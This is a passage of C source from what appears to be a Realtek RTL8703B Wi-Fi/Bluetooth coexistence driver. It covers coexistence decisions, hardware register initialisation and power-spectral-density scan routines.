halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
}
}
VOID
halbtc8703b1ant_ActionWifiConnected(
IN PBTC_COEXIST pBtCoexist
)
{
BOOLEAN bWifiBusy=FALSE;
BOOLEAN bScan=FALSE, bLink=FALSE, bRoam=FALSE;
BOOLEAN bUnder4way=FALSE, bApEnable=FALSE;
u4Byte wifiBw;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CoexForWifiConnect()===>\n"));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_4_WAY_PROGRESS, &bUnder4way);
if(bUnder4way)
{
halbtc8703b1ant_ActionWifiConnectedSpecialPacket(pBtCoexist);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CoexForWifiConnect(), return for wifi is under 4way<===\n"));
return;
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_SCAN, &bScan);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_LINK, &bLink);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_ROAM, &bRoam);
if(bScan || bLink || bRoam)
{
if(bScan)
halbtc8703b1ant_ActionWifiConnectedScan(pBtCoexist);
else
halbtc8703b1ant_ActionWifiConnectedSpecialPacket(pBtCoexist);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CoexForWifiConnect(), return for wifi is under scan<===\n"));
return;
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_AP_MODE_ENABLE, &bApEnable);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
// power save state
if(!bApEnable && BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus && !pBtCoexist->btLinkInfo.bHidOnly)
{
if(pBtCoexist->btLinkInfo.bA2dpOnly) //A2DP
{
if(!bWifiBusy)
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
else //busy
{
if (pCoexSta->nScanAPNum >= BT_8703B_1ANT_WIFI_NOISY_THRESH) //no force LPS, no PS-TDMA, use pure TDMA
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
}
else
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_LPS_ON, 0x50, 0x4);
}
}
}
else if ((pCoexSta->bPanExist == FALSE) && (pCoexSta->bA2dpExist == FALSE) && (pCoexSta->bHidExist == FALSE))
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
else
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_LPS_ON, 0x50, 0x4);
}
else
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
if(!bWifiBusy)
{
if(BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus)
{
halbtc8703b1ant_ActionWifiConnectedBtAclBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_IDLE);
}
else if( (BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
{
halbtc8703b1ant_ActionBtScoHidOnlyBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_IDLE);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
if ( (pCoexSta->highPriorityTx) + (pCoexSta->highPriorityRx) <= 60 )
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
else
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 7);
}
}
else
{
if(BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus)
{
halbtc8703b1ant_ActionWifiConnectedBtAclBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_BUSY);
}
else if( (BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
{
halbtc8703b1ant_ActionBtScoHidOnlyBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_BUSY);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
if ( (pCoexSta->highPriorityTx) + (pCoexSta->highPriorityRx) <= 60 )
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
else
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 7);
}
}
}
VOID
halbtc8703b1ant_RunSwCoexistMechanism(
IN PBTC_COEXIST pBtCoexist
)
{
u1Byte algorithm=0;
algorithm = halbtc8703b1ant_ActionAlgorithm(pBtCoexist);
pCoexDm->curAlgorithm = algorithm;
if(halbtc8703b1ant_IsCommonAction(pBtCoexist))
{
}
else
{
switch(pCoexDm->curAlgorithm)
{
case BT_8703B_1ANT_COEX_ALGO_SCO:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = SCO.\n"));
//halbtc8703b1ant_ActionSco(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_HID:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = HID.\n"));
//halbtc8703b1ant_ActionHid(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_A2DP:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = A2DP.\n"));
//halbtc8703b1ant_ActionA2dp(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_A2DP_PANHS:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = A2DP+PAN(HS).\n"));
//halbtc8703b1ant_ActionA2dpPanHs(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_PANEDR:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = PAN(EDR).\n"));
//halbtc8703b1ant_ActionPanEdr(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_PANHS:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = HS mode.\n"));
//halbtc8703b1ant_ActionPanHs(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_PANEDR_A2DP:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = PAN+A2DP.\n"));
//halbtc8703b1ant_ActionPanEdrA2dp(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_PANEDR_HID:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = PAN(EDR)+HID.\n"));
//halbtc8703b1ant_ActionPanEdrHid(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_HID_A2DP_PANEDR:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = HID+A2DP+PAN.\n"));
//halbtc8703b1ant_ActionHidA2dpPanEdr(pBtCoexist);
break;
case BT_8703B_1ANT_COEX_ALGO_HID_A2DP:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = HID+A2DP.\n"));
//halbtc8703b1ant_ActionHidA2dp(pBtCoexist);
break;
default:
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Action algorithm = coexist All Off!!\n"));
//halbtc8703b1ant_CoexAllOff(pBtCoexist);
break;
}
pCoexDm->preAlgorithm = pCoexDm->curAlgorithm;
}
}
VOID
halbtc8703b1ant_RunCoexistMechanism(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bWifiConnected=FALSE, bBtHsOn=FALSE;
BOOLEAN bIncreaseScanDevNum=FALSE;
BOOLEAN bBtCtrlAggBufSize=FALSE;
BOOLEAN bMiracastPlusBt=FALSE;
u1Byte aggBufSize=5;
u1Byte wifiRssiState=BTC_RSSI_STATE_HIGH;
u4Byte wifiLinkStatus=0;
u4Byte numOfWifiLink=0, wifiBw;
u1Byte iotPeer=BTC_IOT_PEER_UNKNOWN;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RunCoexistMechanism()===>\n"));
if(pBtCoexist->bManualControl)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RunCoexistMechanism(), return for Manual CTRL <===\n"));
return;
}
if(pBtCoexist->bStopCoexDm)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RunCoexistMechanism(), return for Stop Coex DM <===\n"));
return;
}
if(pCoexSta->bUnderIps)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], wifi is under IPS !!!\n"));
return;
}
if(pCoexSta->bBtWhckTest)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT is under WHCK TEST!!!\n"));
halbtc8703b1ant_ActionBtWhckTest(pBtCoexist);
return;
}
if( (BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
{
bIncreaseScanDevNum = TRUE;
}
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_INC_SCAN_DEV_NUM, &bIncreaseScanDevNum);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_LINK_STATUS, &wifiLinkStatus);
numOfWifiLink = wifiLinkStatus>>16;
if((numOfWifiLink>=2) || (wifiLinkStatus&WIFI_P2P_GO_CONNECTED))
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("############# [BTCoex], Multi-Port numOfWifiLink = %d, wifiLinkStatus = 0x%x\n", numOfWifiLink,wifiLinkStatus) );
if(pBtLinkInfo->bBtLinkExist)
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 1, 1, 0, 1);
bMiracastPlusBt = TRUE;
}
else
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 0, 0, 0, 0);
bMiracastPlusBt = FALSE;
}
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_MIRACAST_PLUS_BT, &bMiracastPlusBt);
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, bBtCtrlAggBufSize, aggBufSize);
if ( (pBtLinkInfo->bA2dpExist) && (pCoexSta->bC2hBtInquiryPage) )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("############# [BTCoex], BT Is Inquirying \n") );
halbtc8703b1ant_ActionBtInquiry(pBtCoexist);
}
else
halbtc8703b1ant_ActionWifiMultiPort(pBtCoexist);
return;
}
else
{
bMiracastPlusBt = FALSE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_MIRACAST_PLUS_BT, &bMiracastPlusBt);
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_BW, &wifiBw);
if ( (pBtLinkInfo->bBtLinkExist) && (bWifiConnected) )
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 1, 1, 0, 1);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U1_IOT_PEER, &iotPeer);
if(BTC_IOT_PEER_CISCO != iotPeer)
{
if(pBtLinkInfo->bScoExist)//if (pBtLinkInfo->bBtHiPriLinkExist)
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, TRUE, FALSE, 0x5);
else
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, FALSE, 0x5);
}
else
{
if(pBtLinkInfo->bScoExist)
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, TRUE, FALSE, 0x5);
else
{
if (BTC_WIFI_BW_HT40==wifiBw)
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, TRUE, 0x10);
else
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, TRUE, 0x8);
}
}
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
halbtc8703b1ant_RunSwCoexistMechanism(pBtCoexist); //just print debug message
}
else
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 0, 0, 0, 0);
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, FALSE, 0x5);
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
halbtc8703b1ant_RunSwCoexistMechanism(pBtCoexist); ////just print debug message
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
if(pCoexSta->bC2hBtInquiryPage)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("############# [BTCoex], BT Is Inquirying \n") );
halbtc8703b1ant_ActionBtInquiry(pBtCoexist);
return;
}
else if(bBtHsOn)
{
halbtc8703b1ant_ActionHs(pBtCoexist);
return;
}
if(!bWifiConnected)
{
BOOLEAN bScan=FALSE, bLink=FALSE, bRoam=FALSE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], wifi is non connected-idle !!!\n"));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_SCAN, &bScan);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_LINK, &bLink);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_ROAM, &bRoam);
if(bScan || bLink || bRoam)
{
if (bScan)
halbtc8703b1ant_ActionWifiNotConnectedScan(pBtCoexist);
else
halbtc8703b1ant_ActionWifiNotConnectedAssoAuth(pBtCoexist);
}
else
halbtc8703b1ant_ActionWifiNotConnected(pBtCoexist);
}
else // wifi LPS/Busy
{
halbtc8703b1ant_ActionWifiConnected(pBtCoexist);
}
}
u4Byte
halbtc8703b1ant_PSD_Log2Base(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte val
)
{
u1Byte i,j;
u4Byte tmp, tmp2, val_integerdB=0, tindex, shiftcount=0;
u4Byte result,val_fractiondB=0,Table_fraction[21]= {0,432, 332, 274, 232, 200,
174, 151,132,115,100,86,74,62,51,42,
32,23,15,7,0};
if (val == 0)
return 0;
tmp = val;
while(1)
{
if (tmp == 1)
break;
else
{
tmp = (tmp >> 1);
shiftcount++;
}
}
val_integerdB = shiftcount+1;
tmp2=1;
for (j=1; j<= val_integerdB;j++)
tmp2 = tmp2*2;
tmp = (val*100) /tmp2;
tindex = tmp/5;
if (tindex > 20)
tindex = 20;
val_fractiondB = Table_fraction[tindex];
result = val_integerdB*100 - val_fractiondB;
return (result);
}
VOID
halbtc8703b1ant_InitCoexDm(
IN PBTC_COEXIST pBtCoexist
)
{
// force to reset coex mechanism
// sw all off
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
//halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8);
//halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 0);
pCoexSta->popEventCnt = 0;
}
VOID
halbtc8703b1ant_InitHwConfig(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bBackUp,
IN BOOLEAN bWifiOnly
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
u4Byte u4Tmp=0;//, fwVer;
u2Byte u2Tmp=0;
u1Byte u1Tmp=0, u1Tmpa=0, u1Tmpb=0;
u1Byte H2C_Parameter[2] ={0};
u4Byte u4Tmp1=0, u4Tmp2=0;
u4Tmp1 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x38);
u4Tmp2 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x54);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** (Before Init HW config) 0x38= 0x%x, 0x54= 0x%x**********\n", u4Tmp1, u4Tmp2));
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], 1Ant Init HW Config!!\n"));
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x550, 0x8, 0x1); //enable TBTT nterrupt
//BT report packet sample rate
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x790, 0x5);
// Enable BT counter statistics
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x778, 0x1);
//Enable PTA (3-wire function form BT side)
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x40, 0x20, 0x1);
//Enable PTA (tx/rx signal form WiFi side)
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x4c6, 0x10, 0x1);
//enable GNT_WL/GNT_BT debug signal to GPIO14/15
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x73, 0x8, 0x1);
//enable GNT_WL
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x4e, 0x40, 0x0);
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x67, 0x1, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8);
//Antenna config
if(bWifiOnly)
{
pCoexSta->bConCurrentRxModeOn = false;
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_WIFI, FORCE_EXEC, TRUE, FALSE);
}
else
{
pCoexSta->bConCurrentRxModeOn = true;
pBtCoexist->fBtcWrite1ByteBitMask(pBtCoexist, 0x953, 0x2, 0x1);
//RF 0x1[0] = 0 -> Set GNT_WL_RF_Rx always = 1 for con-current Rx
pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1, 0x1, 0x0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_BT, FORCE_EXEC, TRUE, FALSE);
}
// PTA parameter
halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 0);
}
VOID
halbtc8703b1ant_PSD_ShowData(
IN PBTC_COEXIST pBtCoexist
)
{
pu1Byte cliBuf=pBtCoexist->cliBuf;
u4Byte nDeltaFreqPerPoint;
u4Byte freq,freq1,freq2,n=0,i=0, j=0, m=0, PsdRep1, PsdRep2;
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n\n============[PSD info] (%d)============\n",
pPsdScan->nPSDGenCount);
CL_PRINTF(cliBuf);
if (pPsdScan->nPSDGenCount == 0)
{
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n No Data !!\n");
CL_PRINTF(cliBuf);
return;
}
if (pPsdScan->nPSDPoint == 0)
nDeltaFreqPerPoint = 0;
else
nDeltaFreqPerPoint = pPsdScan->nPSDBandWidth/pPsdScan->nPSDPoint;
//if (pPsdScan->bIsPSDShowMaxOnly)
if (0)
{
PsdRep1 = pPsdScan->nPSDMaxValue/100;
PsdRep2 = pPsdScan->nPSDMaxValue - PsdRep1 * 100;
freq = ((pPsdScan->nRealCentFreq-20) * 1000000 + pPsdScan->nPSDMaxValuePoint * nDeltaFreqPerPoint);
freq1 = freq/1000000;
freq2 = freq/1000 - freq1 * 1000;
if (freq2 < 100)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Freq = %d.0%d MHz",
freq1, freq2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Freq = %d.%d MHz",
freq1, freq2);
if (PsdRep2 < 10)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, ", Value = %d.0%d dB, (%d) \n",
PsdRep1, PsdRep2, pPsdScan->nPSDMaxValue);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, ", Value = %d.%d dB, (%d)\n",
PsdRep1, PsdRep2, pPsdScan->nPSDMaxValue);
CL_PRINTF(cliBuf);
}
else
{
m = pPsdScan->nPSDStartPoint;
n = pPsdScan->nPSDStartPoint;
i = 1;
j = 1;
while(1)
{
do
{
freq = ((pPsdScan->nRealCentFreq-20) * 1000000 + m * nDeltaFreqPerPoint);
freq1 = freq/1000000;
freq2 = freq/1000 - freq1 * 1000;
if (i ==1)
{
if (freq2 == 0)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Freq%6d.000", freq1);
else if (freq2 < 100)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Freq%6d.0%2d", freq1,freq2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Freq%6d.%3d", freq1,freq2);
}
else if ( (i%8 == 0) || (m == pPsdScan->nPSDStopPoint) )
{
if (freq2 == 0)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.000\n", freq1);
else if (freq2 < 100)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.0%2d\n", freq1,freq2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.%3d\n", freq1,freq2);
}
else
{
if (freq2 == 0)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.000", freq1);
else if (freq2 < 100)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.0%2d", freq1,freq2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%6d.%3d", freq1,freq2);
}
i++;
m++;
CL_PRINTF(cliBuf);
}while( (i <= 8) && (m <= pPsdScan->nPSDStopPoint));
do
{
PsdRep1 = pPsdScan->nPSDReport_MaxHold[n]/100;
PsdRep2 = pPsdScan->nPSDReport_MaxHold[n] - PsdRep1 * 100;
if (j ==1)
{
if (PsdRep2 <10)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Val %7d.0%d", PsdRep1,PsdRep2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "\r\n Val %7d.%d", PsdRep1,PsdRep2);
}
else if ( (j%8 == 0) || (n == pPsdScan->nPSDStopPoint) )
{
if (PsdRep2 <10)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%7d.0%d\n", PsdRep1,PsdRep2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%7d.%d\n", PsdRep1,PsdRep2);
}
else
{
if (PsdRep2 <10)
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%7d.0%d", PsdRep1,PsdRep2);
else
CL_SPRINTF(cliBuf, BT_TMP_BUF_SIZE, "%7d.%d", PsdRep1,PsdRep2);
}
j++;
n++;
CL_PRINTF(cliBuf);
} while( (j <= 8) && (n <= pPsdScan->nPSDStopPoint));
if ( (m > pPsdScan->nPSDStopPoint) || (n > pPsdScan->nPSDStopPoint) )
break;
else
{
i = 1;
j = 1;
}
}
}
}
VOID
halbtc8703b1ant_PSD_MaxHoldData(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte GenCount
)
{
u4Byte i=0, i_max=0, val_max=0, j;
if (GenCount== 1)
{
memcpy(pPsdScan->nPSDReport_MaxHold, pPsdScan->nPSDReport, BT_8703B_1ANT_ANTDET_PSD_POINTS*sizeof(u4Byte));
for (i= pPsdScan->nPSDStartPoint; i<=pPsdScan->nPSDStopPoint; i++)
{
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), Max_Hold i = %d, PSDReport = %d dB\n", i, pPsdScan->nPSDReport_MaxHold[i]));
}
pPsdScan->nPSDMaxValuePoint = 0;
pPsdScan->nPSDMaxValue = 0;
}
else
{
for (i= pPsdScan->nPSDStartPoint; i<=pPsdScan->nPSDStopPoint; i++)
{
if (pPsdScan->nPSDReport[i] > pPsdScan->nPSDReport_MaxHold[i])
pPsdScan->nPSDReport_MaxHold[i] = pPsdScan->nPSDReport[i];
//search Max Value
if (i ==pPsdScan->nPSDStartPoint )
{
i_max = i;
val_max = pPsdScan->nPSDReport_MaxHold[i];
}
else
{
if (pPsdScan->nPSDReport_MaxHold[i] > val_max)
{
i_max = i;
val_max = pPsdScan->nPSDReport_MaxHold[i];
}
}
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), Max_Hold i = %d, PSDReport = %d dB\n", i, pPsdScan->nPSDReport_MaxHold[i]));
}
pPsdScan->nPSDMaxValuePoint = i_max;
pPsdScan->nPSDMaxValue = val_max;
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), Max_Hold i_Max = %d, PSDReport_Max = %d dB\n", pPsdScan->nPSDMaxValuePoint
// ,pPsdScan->nPSDMaxValue));
}
}
u4Byte
halbtc8703b1ant_PSD_GetData(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte nPoint
)
{
//reg 0x808[9:0]: FFT data x
//reg 0x808[22]: 0-->1 to get 1 FFT data y
//reg 0x8b4[15:0]: FFT data y report
u4Byte val = 0, psd_report =0;
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x808);
val &= 0xffbffc00;
val |= nPoint;
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x808, val);
val |= 0x00400000;
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x808, val);
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x8b4);
psd_report = val & 0x0000ffff;
return psd_report;
}
VOID
halbtc8703b1ant_PSD_SweepPoint(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte centFreq,
IN s4Byte offset,
IN u4Byte span,
IN u4Byte points,
IN u4Byte avgnum
)
{
u4Byte i,val,n,k=0;
u4Byte nPoints=0, psd_report=0;
u4Byte nStartP=0, nStopP=0, nDeltaFreqPerPoint=156250;
u4Byte nPSDCenterFreq=20*10^6, freq,freq1,freq2;
BOOLEAN outloop = FALSE;
u1Byte flag = 0;
u4Byte tmp, PsdRep1, PsdRep2;
u4Byte WiFi_OriginalChannel = 1;
pPsdScan->bIsPSDRunning = TRUE;
do
{
switch(flag)
{
case 0: //Get PSD parameters
default:
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), centFreq=0x%x, offset=0x%x, span=0x%x\n",
// centFreq, offset, span));
pPsdScan->nPSDBandWidth = 40*1000000;
pPsdScan->nPSDPoint = points;
pPsdScan->nPSDStartBase = points/2;
pPsdScan->nPSDAvgNum = avgnum;
pPsdScan->nRealCentFreq = centFreq;
pPsdScan->nRealOffset = offset;
pPsdScan->nRealSpan = span;
nPoints = pPsdScan->nPSDPoint;
nDeltaFreqPerPoint = pPsdScan->nPSDBandWidth/pPsdScan->nPSDPoint;
//PSD point setup
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x808);
val &= 0xffff0fff;
switch(pPsdScan->nPSDPoint)
{
case 128:
val |= 0x0;
break;
case 256:
default:
val |=0x00004000;
break;
case 512:
val |= 0x00008000;
break;
case 1024:
val |= 0x0000c000;
break;
}
switch(pPsdScan->nPSDAvgNum)
{
case 1:
val |= 0x0;
break;
case 8:
val |=0x00001000;
break;
case 16:
val |= 0x00002000;
break;
case 32:
default:
val |= 0x00003000;
break;
}
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x808, val);
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), PSD BW= %d, DeltaFreq=%d\n"
// , pPsdScan->nPSDBandWidth, nDeltaFreqPerPoint));
flag = 1;
break;
case 1: //calculate the PSD point index from freq/offset/span
nPSDCenterFreq = pPsdScan->nPSDBandWidth /2 +offset*(1000000);
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), PSD Center Freq = %d\n", (centFreq + offset)));
nStartP = pPsdScan->nPSDStartBase + (nPSDCenterFreq - span *(1000000)/2) /nDeltaFreqPerPoint;
pPsdScan->nPSDStartPoint = nStartP - pPsdScan->nPSDStartBase;
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), Start PSD Poin Matrix Index = %d\n", pPsdScan->nPSDStartPoint));
nStopP = pPsdScan->nPSDStartBase + (nPSDCenterFreq + span *(1000000)/2) /nDeltaFreqPerPoint;
pPsdScan->nPSDStopPoint = nStopP - pPsdScan->nPSDStartBase-1;
//RT_TRACE(COMP_COEX, DBG_LOUD, ("xxxxxxxxxxxxxxxx SweepPSDPoint(), Stop PSD Poin Matrix Index = %d\n",pPsdScan->nPSDStopPoint));
flag = 2;
break;
case 2: //set RF channel/BW/Mode
//set 3-wire off
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x88c);
val |= 0x00300000;
pBtCoexist->fBtcWrite4Byte(pBtCoexist,0x88c,val);
//CCK off
val = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x800);
val &= 0xfeffffff;
pBtCoexist->fBtcWrite4Byte(pBtCoexist,0x800,val);
//store WiFi original channel
WiFi_OriginalChannel = pBtCoexist->fBtcGetRfReg(pBtCoexist, BTC_RF_A, 0x18, 0x3ff);
